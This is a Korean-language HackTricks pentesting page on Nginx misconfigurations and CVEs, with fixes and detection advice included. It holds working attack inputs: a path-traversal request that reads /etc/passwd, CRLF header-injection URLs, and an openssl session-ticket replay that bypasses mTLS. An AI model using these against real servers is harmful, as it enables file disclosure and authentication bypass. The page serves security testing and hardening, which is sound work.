Nginx
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
루트 위치 누락
Nginx 서버를 구성할 때, root directive는 파일이 제공되는 기본 디렉터리를 정의함으로써 중요한 역할을 합니다. 아래 예제를 보십시오:
server {
root /etc/nginx;
location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}
이 구성에서는 /etc/nginx가 root 디렉터리로 지정되어 있습니다. 이 설정은 /hello.txt와 같이 지정된 root 디렉터리 내의 파일에 접근할 수 있게 합니다. 그러나 중요한 점은 특정 위치( /hello.txt)만 정의되어 있다는 것입니다. 루트 위치(location / {...})에 대한 설정이 없습니다. 이 누락은 root 디렉티브가 전역적으로 적용된다는 것을 의미하여, 루트 경로(/)로의 요청이 /etc/nginx 아래의 파일에 접근할 수 있게 합니다.
이 구성에서 중요한 보안 고려사항이 발생합니다. GET /nginx.conf와 같은 간단한 GET 요청은 /etc/nginx/nginx.conf에 있는 Nginx 구성 파일을 제공하여 민감한 정보를 노출할 수 있습니다. root를 /etc와 같은 덜 민감한 디렉터리로 설정하면 이 위험을 완화할 수 있지만, 여전히 다른 설정 파일, access logs, 그리고 HTTP basic authentication에 사용되는 암호화된 자격증명 등 다른 중요한 파일에 대한 의도치 않은 접근을 허용할 수 있습니다.
Alias LFI Misconfiguration
Nginx의 구성 파일에서는 “location” 지시문을 면밀히 검사해야 합니다. Local File Inclusion (LFI)로 알려진 취약점은 다음과 유사한 구성으로 인해 의도치 않게 도입될 수 있습니다:
location /imgs {
alias /path/images/;
}
이 구성은 서버가 /imgs../flag.txt 같은 요청을 의도한 디렉터리 외부의 파일에 접근하려는 시도로 해석하여 실제로 /path/images/../flag.txt로 해석되기 때문에 LFI 공격에 취약합니다. 이 결함은 공격자가 웹을 통해 접근할 수 없어야 하는 서버의 파일시스템에서 파일을 조회할 수 있게 합니다.
이 취약점을 완화하려면 구성을 다음과 같이 조정해야 합니다:
location /imgs/ {
alias /path/images/;
}
자세한 정보: https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/
Accunetix 테스트:
alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403
안전하지 않은 경로 제한
다음 페이지를 확인하여 다음과 같은 지시어를 우회하는 방법을 알아보세요:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
Proxy / WAF Protections Bypass
안전하지 않은 변수 사용 / HTTP Request Splitting
Caution
취약한 변수는
$uri와$document_uri 이며, 이는$request_uri로 교체하면 수정할 수 있다.정규식도 다음과 같이 취약할 수 있다:
location ~ /docs/([^/])? { … $1 … }- Vulnerable
location ~ /docs/([^/\s])? { … $1 … }- Not vulnerable (checking spaces)
location ~ /docs/(.*)? { … $1 … }- Not vulnerable
아래 예제는 Nginx 구성의 취약점을 보여준다:
location / {
return 302 https://example.com$uri;
}
\r (캐리지 리턴) 및 \n (라인 피드) 문자는 HTTP 요청에서 줄 바꿈 문자를 의미하며, 이들의 URL-인코딩 형태는 %0d%0a이다. 잘못 구성된 서버에 이러한 문자를 포함한 요청(예: http://localhost/%0d%0aDetectify:%20clrf)을 보내면 서버가 Detectify라는 이름의 새 헤더를 발행한다. 이는 $uri 변수가 URL-인코딩된 줄 바꿈 문자를 디코딩하여 응답에 예기치 않은 헤더가 포함되기 때문이다:
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf
CRLF injection and response splitting의 위험에 대해 더 알아보려면 https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/를 확인하세요.
또한 이 기술은 explained in this talk에서 몇 가지 취약한 예제와 탐지 메커니즘과 함께 설명됩니다. 예를 들어, blackbox 관점에서 이 잘못된 구성을 탐지하려면 다음 요청들을 시도해볼 수 있습니다:
https://example.com/%20X- Any HTTP codehttps://example.com/%20H- 400 Bad Request
취약한 경우, 첫 번째는 ’X’가 어떤 HTTP method이든 상관없이 응답을 반환하고, 두 번째는 ’H’가 유효한 method가 아니므로 오류를 반환합니다. 따라서 서버는 GET / H HTTP/1.1처럼 수신하게 되어 에러를 유발합니다.
다른 탐지 예시는 다음과 같습니다:
http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x- Any HTTP codehttp://company.tld/%20HTTP/1.1%0D%0AHost:%20x- 400 Bad Request
그 발표에서 제시된 일부 취약한 구성은 다음과 같습니다:
- 최종 URL에서 **
$uri**가 그대로 설정된 것에 주목하세요
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
- 다시 **
$uri**가 URL에 있는 것을 주목하세요 (이번에는 파라미터 내부에 있습니다)
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
- 이제 AWS S3에서
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}
임의 변수
특정 상황에서 사용자 제공 데이터가 Nginx 변수로 처리될 수 있음이 발견되었다. 이 동작의 원인은 다소 불명확하지만, 드문 현상도 아니며 검증이 간단하지 않다. 이 이상 동작은 HackerOne의 보안 리포트에서 지적되었으며, 해당 리포트는 here에서 확인할 수 있다. 에러 메시지를 추가 조사한 결과 이 문제가 SSI filter module of Nginx’s codebase에서 발생함이 확인되었고, Server Side Includes (SSI)가 근본 원인으로 지목되었다.
이 구성 오류를 감지하려면, 다음 명령을 실행할 수 있다. 이 명령은 Referer 헤더를 설정하여 변수 출력 여부를 테스트한다:
$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’
시스템 전반에서 이 잘못된 구성에 대한 스캔 결과, 사용자가 Nginx 변수를 출력할 수 있는 여러 사례가 발견되었습니다. 그러나 취약한 인스턴스 수의 감소는 이 문제를 패치하려는 시도가 어느 정도 성공했음을 시사합니다.
try_files와 $URI$ARGS 변수를 사용하여
다음 Nginx 잘못된 구성은 LFI 취약점으로 이어질 수 있습니다:
location / {
try_files $uri$args $uri$args/ /index.html;
}
우리 구성에는 지정된 순서로 파일의 존재를 확인하는 데 사용되는 try_files 디렉티브가 있습니다. Nginx는 발견되는 첫 번째 파일을 제공합니다. try_files 디렉티브의 기본 구문은 다음과 같습니다:
try_files file1 file2 ... fileN fallback;
Nginx는 지정된 순서대로 각 파일의 존재를 확인합니다. 파일이 존재하면 즉시 제공됩니다. 지정된 어떤 파일도 존재하지 않으면 요청은 다른 URI이거나 특정 에러 페이지가 될 수 있는 대체(fallback) 옵션으로 전달됩니다.
하지만 이 디렉티브에서 $uri$args 변수를 사용할 경우, Nginx는 요청 URI에 쿼리 문자열 인자를 결합한 형태와 일치하는 파일을 찾으려고 시도합니다. 따라서 우리는 이 설정을 악용할 수 있습니다:
http {
server {
root /var/www/html/public;
location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}
다음 페이로드를 사용하여:
GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com
우리의 payload를 사용하여 Nginx 설정에서 정의된 루트 디렉토리를 벗어나 /etc/passwd 파일을 로드합니다. 디버그 로그에서 Nginx가 파일들을 어떻게 시도하는지 관찰할 수 있습니다:
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK
PoC against Nginx using the configuration mentioned above:

백엔드의 원시 응답 읽기
Nginx는 proxy_pass를 통해 백엔드에서 발생하는 오류와 HTTP 헤더를 가로채 내부 오류 메시지와 헤더를 숨기도록 하는 기능을 제공한다. 이는 Nginx가 백엔드 오류에 대해 커스텀 오류 페이지를 제공함으로써 구현된다. 그러나 Nginx가 잘못된 HTTP 요청을 받았을 때 문제점이 발생한다. 이러한 요청은 받은 그대로 백엔드로 전달되며, 백엔드의 원시 응답이 Nginx의 개입 없이 클라이언트로 직접 전송된다.
uWSGI 애플리케이션이 관련된 예시 시나리오를 고려해보자:
def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]
이를 관리하려면 Nginx 구성에서 특정 지시문을 사용합니다:
http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
- proxy_intercept_errors: 이 디렉티브는 상태 코드가 300보다 큰 백엔드 응답에 대해 Nginx가 커스텀 응답을 제공할 수 있도록 합니다. 예시 uWSGI 애플리케이션에서
500 Error응답이 Nginx에 의해 가로채어 처리되도록 보장합니다. - proxy_hide_header: 이름 그대로 이 디렉티브는 지정된 HTTP 헤더를 클라이언트에게서 숨겨 프라이버시와 보안을 향상시킵니다.
유효한 GET 요청이 들어오면 Nginx는 정상적으로 처리하여 비밀 헤더를 노출하지 않는 표준 에러 응답을 반환합니다. 그러나 잘못된 HTTP 요청은 이 메커니즘을 우회하여 비밀 헤더와 에러 메시지를 포함한 백엔드의 원시 응답이 노출될 수 있습니다.
merge_slashes를 off로 설정
기본적으로 Nginx의 merge_slashes 디렉티브는 **on**으로 설정되어 있어 URL 내 여러 개의 슬래시를 하나로 압축합니다. 이 기능은 URL 처리를 간소화하지만, 특히 local file inclusion (LFI) 취약점에 취약한 애플리케이션에서 Nginx 뒤에 있는 취약점을 의도치 않게 숨길 수 있습니다. 보안 전문가인 Danny Robinson and Rotem Bar는 특히 Nginx가 리버스 프록시 역할을 할 때 이 기본 동작과 관련된 잠재적 위험을 지적했습니다.
이러한 위험을 완화하기 위해, 이 취약점에 노출되기 쉬운 애플리케이션에 대해서는 merge_slashes 디렉티브를 off로 설정하는 것이 권장됩니다. 이렇게 하면 Nginx가 URL 구조를 변경하지 않고 애플리케이션으로 요청을 전달하므로 근본적인 보안 문제를 숨기지 않습니다.
For more information check Danny Robinson and Rotem Bar.
Maclicious 응답 헤더
As shown in this writeup, there are certain headers that if present in the response from the web server they will change the behaviour of the Nginx proxy. You can check them in the docs:
X-Accel-Redirect: Nginx에게 요청을 내부적으로 지정된 위치로 리다이렉트하도록 지시합니다.X-Accel-Buffering: Nginx가 응답을 버퍼링할지 여부를 제어합니다.X-Accel-Charset: X-Accel-Redirect를 사용할 때 응답의 문자셋을 설정합니다.X-Accel-Expires: X-Accel-Redirect를 사용할 때 응답의 만료 시간을 설정합니다.X-Accel-Limit-Rate: X-Accel-Redirect를 사용할 때 응답 전송 속도를 제한합니다.
For example, the header X-Accel-Redirect will cause an internal redirect in the nginx. So having an nginx configuration with something such as root / and a response from the web server with X-Accel-Redirect: .env will make nginx sends the content of /.env (Path Traversal).
map 디렉티브의 기본값
In the Nginx configuration, the map directive often plays a role in authorization control. A common mistake is not specifying a default value, which could lead to unauthorized access. For instance:
http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}
server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}
Without a default, a malicious user can bypass security by accessing an undefined URI within /map-poc. The Nginx manual advises setting a default value to avoid such issues.
DNS Spoofing Vulnerability
Nginx에 대한 DNS spoofing은 특정 조건에서 가능할 수 있습니다. 공격자가 Nginx가 사용하는 DNS server를 알고 해당 DNS queries를 가로챌 수 있다면, DNS records를 스푸핑할 수 있습니다. 그러나 Nginx가 DNS 해석에 **localhost (127.0.0.1)**를 사용하도록 구성된 경우 이 방법은 효과가 없습니다. Nginx는 다음과 같이 DNS server를 지정할 수 있습니다:
resolver 8.8.8.8;
proxy_pass and internal 디렉티브
The proxy_pass 지시어는 요청을 내부 또는 외부의 다른 서버로 리디렉션하는 데 사용됩니다. The internal 지시어는 특정 location들이 Nginx 내부에서만 접근 가능하도록 보장합니다. 이러한 지시어들 자체가 취약점은 아니지만, 보안 누락을 방지하기 위해 구성 설정을 면밀히 검토해야 합니다.
proxy_set_header Upgrade & Connection
If the nginx server is configured to pass the Upgrade and Connection headers an h2c Smuggling attack could be performed to access protected/internal endpoints.
Caution
이 취약점은 공격자가
proxy_pass엔드포인트와 직접 연결을 수립하도록 허용합니다 (http://backend:9999in this case) — 해당 엔드포인트의 콘텐츠는 nginx에 의해 검사되지 않습니다.
Example of vulnerable configuration to steal /flag from here:
server {
listen 443 ssl;
server_name localhost;
ssl_certificate /usr/local/nginx/conf/cert.pem;
ssl_certificate_key /usr/local/nginx/conf/privkey.pem;
location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}
location /flag {
deny all;
}
Warning
참고: 비록
proxy_pass가 특정 경로(예:http://backend:9999/socket.io)를 가리키더라도 연결은http://backend:9999로 설정되므로 내부 엔드포인트 안의 다른 경로에 대해 접근할 수 있습니다. 따라서 proxy_pass URL에 경로가 지정되어 있어도 상관없습니다.
HTTP/3 QUIC 모듈 원격 DoS 및 leak (2024)
2024년 동안 Nginx는 CVE-2024-31079, CVE-2024-32760, CVE-2024-34161 및 CVE-2024-35200을 공개했으며, 실험적 ngx_http_v3_module가 컴파일되어 있고 listen ... quic 소켓이 노출된 경우 single hostile QUIC session 하나로 worker 프로세스가 크래시되거나 메모리를 leak할 수 있음을 보여줍니다. 영향받는 빌드는 1.25.0–1.25.5 및 1.26.0이며, 1.27.0/1.26.1에서 수정이 포함되어 있습니다; 메모리 disclosure(CVE-2024-34161)의 경우 민감한 데이터를 노출하려면 추가로 MTU가 4096 바이트보다 커야 합니다(자세한 내용은 아래의 2024 nginx advisory 참조).
Recon & exploitation hints
- HTTP/3는 opt-in이므로
Alt-Svc: h3=":443"응답을 스캔하거나 UDP/443에 대해 QUIC 핸드셰이크를 brute-force하세요; 확인되면 핸드셰이크와 STREAM 프레임을 커스텀quiche-client/nghttp3페이로드로 fuzz하여 worker 프로세스 크래시를 유발하고 로그 leakage를 강제하세요. - Quickly fingerprint target support with:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/
TLS 세션 재개를 이용한 클라이언트 인증서 인증 우회 (CVE-2025-23419)
2025년 2월 보안 권고에 따르면 OpenSSL로 빌드된 nginx 1.11.4–1.27.3은 하나의 이름 기반 가상 호스트에서 협상된 TLS 1.3 세션을 다른 가상 호스트 안에서 재사용할 수 있도록 허용해, 인증서 없이 협상된 호스트의 클라이언트가 티켓/PSK를 재플레이하여 ssl_verify_client on;으로 보호된 vhost로 접근해 mTLS를 완전히 우회할 수 있습니다. 이 버그는 여러 가상 호스트가 동일한 TLS 1.3 세션 캐시와 티켓을 공유할 때마다 발생합니다 (아래의 2025 nginx 보안 권고 참조).
공격자 플레이북
# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem
# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof
대상이 취약하면, 두 번째 핸드셰이크가 클라이언트 인증서를 제시하지 않고 완료되어 보호된 위치가 노출됩니다.
점검 항목
server_name이 혼합된 블록들로서ssl_session_cache shared:SSL및ssl_session_tickets on;을 공유하는 경우.- Admin/API 블록이 mTLS를 기대하지만 공개 호스트로부터 공유 세션 캐시/티켓 설정을 상속받는 경우.
- vhost 격리를 고려하지 않고 TLS 1.3 세션 재개를 전역적으로 활성화하는 자동화(예: Ansible roles).
HTTP/2 Rapid Reset 내성 (CVE-2023-44487 동작)
The HTTP/2 Rapid Reset attack (CVE-2023-44487) still affects nginx when operators crank keepalive_requests or http2_max_concurrent_streams beyond the defaults: an attacker opens one HTTP/2 connection, floods it with thousands of streams, then immediately issues RST_STREAM frames so the concurrency ceiling is never reached while CPU keeps burning on tear-down logic. Nginx defaults (128 concurrent streams, 1000 keepalive requests) keep the blast radius small; pushing those limits “상당히 높이면” makes it trivial to starve workers even from a single client (see the F5 write-up referenced below).
탐지 팁
# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/
이러한 지시자들이 비정상적으로 높은 값을 노출하는 호스트는 주요 표적입니다: 하나의 HTTP/2 클라이언트가 스트림 생성과 즉각적인 RST_STREAM 프레임을 반복하여 동시성 한도를 초과하지 않으면서도 CPU를 고갈시킬 수 있습니다.
직접 시도해보기
Detectify는 Docker를 사용해 이 글에서 다룬 일부 잘못된 구성(misconfigurations)이 적용된 취약한 Nginx 테스트 서버를 설정하고 직접 찾아볼 수 있는 GitHub 저장소를 만들었습니다!
https://github.com/detectify/vulnerable-nginx
정적 분석 도구
GixyNG & GIXY
GixyNG(업데이트된 GIXY 포크)는 Nginx 구성을 분석해 취약점, 안전하지 않은 지시자, 그리고 위험한 잘못된 구성(misconfigurations)을 찾아내는 도구입니다. 또한 성능에 영향을 주는 구성 오류를 찾아내고 누락된 하드닝 기회를 감지하여 자동화된 결함 탐지를 가능하게 합니다.
Nginxpwner
Nginxpwner는 일반적인 Nginx 잘못된 구성(misconfigurations)과 취약점을 찾기 위한 단순한 도구입니다.
참고자료
- https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/
- http://blog.zorinaq.com/nginx-resolver-vulns/
- https://github.com/yandex/gixy/issues/115
- https://mailman.nginx.org/pipermail/nginx-announce/2024/GWH2WZDVCOC2A5X67GKIMJM4YRELTR77.html
- https://mailman.nginx.org/pipermail/nginx-announce/2025/NYEUJX7NCBCGJGXDFVXNMAAMJDFSE45G.html
- https://www.f5.com/company/blog/nginx/http-2-rapid-reset-attack-impacting-f5-nginx-products
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks

